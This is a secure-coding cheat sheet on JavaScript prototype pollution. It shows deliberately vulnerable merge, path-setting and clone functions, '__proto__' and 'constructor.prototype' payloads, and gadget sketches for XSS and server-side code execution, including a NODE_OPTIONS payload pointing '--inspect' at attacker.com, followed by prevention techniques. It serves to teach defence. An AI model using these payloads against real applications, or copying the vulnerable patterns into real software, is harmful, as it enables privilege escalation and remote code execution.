highOWASP Prototype Pollution Cheat SheetCWE-1321
Prototype Pollution
Prototype pollution exploits JavaScript's prototypal inheritance to inject malicious properties into the global Object prototype. Since virtually every object inherits from Object.prototype, a single malicious property can poison the entire application - enabling XSS on clients and remote code execution on servers.
Understanding JavaScript Prototypes
JavaScript uses prototypal inheritance rather than classical inheritance. Every object has an internal link to another object called its prototype. When you access a property that doesn't exist on an object, JavaScript looks up the prototype chain.
javascript
const user = { name: 'Alice' };
// user doesn't have toString, but Object.prototype does
console.log(user.toString()); // "[object Object]"
// The prototype chain:
// user -> Object.prototype -> null
// You can access the prototype via __proto__
console.log(user.__proto__ === Object.prototype); // true
// Or via Object.getPrototypeOf
console.log(Object.getPrototypeOf(user) === Object.prototype); // trueHow Prototype Pollution Works
When applications merge user-controlled data into objects without proper validation, attackers can inject the special __proto__ property to modify Object.prototype:
javascript
// Vulnerable merge function
function merge(target, source) {
for (const key in source) {
if (typeof source[key] === 'object') {
if (!target[key]) target[key] = {};
merge(target[key], source[key]);
} else {
target[key] = source[key];
}
}
return target;
}
// Normal usage
const user = { name: 'Bob' };
merge(user, { email: 'bob@example.com' });
// ATTACK: Pollute the prototype
const maliciousPayload = JSON.parse(
'{"__proto__": {"isAdmin": true}}'
);
merge({}, maliciousPayload);
// Now EVERY object has isAdmin = true!
const newUser = {};
console.log(newUser.isAdmin); // true <- POLLUTED!Common Vulnerable Patterns
Object Merging
javascript
// Express.js body parsing with vulnerable merge
app.post('/api/settings', (req, res) => {
const defaults = { theme: 'light', notifications: true };
// VULNERABLE: Deep merge with user input
const settings = _.merge(defaults, req.body);
saveSettings(req.user.id, settings);
res.json(settings);
});
// Attack payload:
// POST /api/settings
// {"__proto__": {"polluted": true}}Path-Based Property Setting
javascript
// Vulnerable: Setting nested properties by path
function setProperty(obj, path, value) {
const keys = path.split('.');
let current = obj;
for (let i = 0; i < keys.length - 1; i++) {
if (!current[keys[i]]) {
current[keys[i]] = {};
}
current = current[keys[i]];
}
current[keys[keys.length - 1]] = value;
return obj;
}
// Normal usage
setProperty({}, 'user.name', 'Alice');
// { user: { name: 'Alice' } }
// Attack: Pollute via constructor.prototype
setProperty({}, 'constructor.prototype.isAdmin', true);
// Or via __proto__
setProperty({}, '__proto__.isAdmin', true);
// All objects now have isAdmin = trueObject Cloning
javascript
// Vulnerable clone function
function clone(obj) {
if (typeof obj !== 'object' || obj === null) return obj;
const result = Array.isArray(obj) ? [] : {};
for (const key in obj) {
result[key] = clone(obj[key]);
}
return result;
}
// Attack: Clone object with __proto__
const malicious = JSON.parse(
'{"__proto__": {"pwned": true}}'
);
clone(malicious);
console.log({}.pwned); // trueReal-World Exploitation
Client-Side XSS via Gadgets
javascript
// Many libraries check for property existence
// If Object.prototype is polluted, these checks pass
// Example: Template library checks for escape function
function renderTemplate(template, data) {
// If data.escapeHtml exists, use it
const escape = data.escapeHtml || defaultEscape;
return template.replace(/\{\{(\w+)\}\}/g, (_, key) => {
return escape(data[key]);
});
}
// Attack: Pollute to inject malicious escape function
// { "__proto__": { "escapeHtml": "(x) => x" } }
// Now XSS payloads aren't escaped!Server-Side RCE
javascript
const { exec } = require('child_process');
// Some code uses options objects with defaults
function runCommand(cmd, options = {}) {
const shell = options.shell || '/bin/sh';
const env = options.env || process.env;
return exec(cmd, { shell, env });
}
// If Object.prototype is polluted with:
// { "shell": "/proc/self/exe", "NODE_OPTIONS": "--require=malicious" }
// The command runs with attacker-controlled options
// Or pollute env to inject malicious environment variables
// { "__proto__": { "NODE_OPTIONS": "--inspect=attacker.com" } }Prevention Strategies
Use Null-Prototype Objects
javascript
// Create objects without prototype
const safeObj = Object.create(null);
console.log(safeObj.__proto__); // undefined
// Polluting Object.prototype won't affect it
Object.prototype.polluted = true;
console.log(safeObj.polluted); // undefined (safe!)
// Use for configuration and user data
function createSafeConfig(userInput) {
const config = Object.create(null);
// Only copy allowed keys
for (const key of ALLOWED_KEYS) {
if (key in userInput) {
config[key] = userInput[key];
}
}
return config;
}Use Map Instead of Objects
javascript
// Maps don't inherit from Object.prototype
const userSettings = new Map();
// Safe operations
userSettings.set('theme', 'dark');
userSettings.set('__proto__', 'ignored'); // Just a regular key
console.log(userSettings.get('theme')); // 'dark'
console.log({}.polluted); // undefined (Object.prototype unaffected)Filter Dangerous Keys
javascript
const DANGEROUS_KEYS = ['__proto__', 'constructor', 'prototype'];
function safeMerge(target, source) {
for (const key of Object.keys(source)) {
// Skip dangerous keys
if (DANGEROUS_KEYS.includes(key)) {
continue;
}
if (typeof source[key] === 'object' && source[key] !== null) {
if (!target[key]) target[key] = {};
safeMerge(target[key], source[key]);
} else {
target[key] = source[key];
}
}
return target;
}
// Use Object.keys() not for...in
// Object.keys() doesn't enumerate prototype propertiesFreeze Object.prototype
javascript
// Prevent modifications to built-in prototypes
// Do this early in application startup
Object.freeze(Object.prototype);
Object.freeze(Array.prototype);
Object.freeze(Function.prototype);
// Now pollution attempts will fail silently (or throw in strict mode)
Object.prototype.polluted = true;
console.log({}.polluted); // undefined (frozen!)Use Schema Validation
javascript
import { z } from 'zod';
// Define explicit schema - unknown keys are stripped
const settingsSchema = z.object({
theme: z.enum(['light', 'dark']).default('light'),
notifications: z.boolean().default(true),
language: z.string().max(5).default('en'),
}).strict(); // Reject unknown keys
app.post('/api/settings', (req, res) => {
const result = settingsSchema.safeParse(req.body);
if (!result.success) {
return res.status(400).json({ error: result.error });
}
// result.data is a clean object with only allowed properties
saveSettings(req.user.id, result.data);
res.json(result.data);
});Security Checklist
- Use Object.create(null) for user-controlled data structures
- Filter __proto__, constructor, and prototype from input
- Use Map/Set instead of plain objects for dynamic data
- Validate input with strict schemas (Zod, Joi)
- Freeze built-in prototypes at application startup
- Audit dependencies for known prototype pollution CVEs
- Use Object.keys() instead of for...in loops
- Use hasOwnProperty checks before accessing properties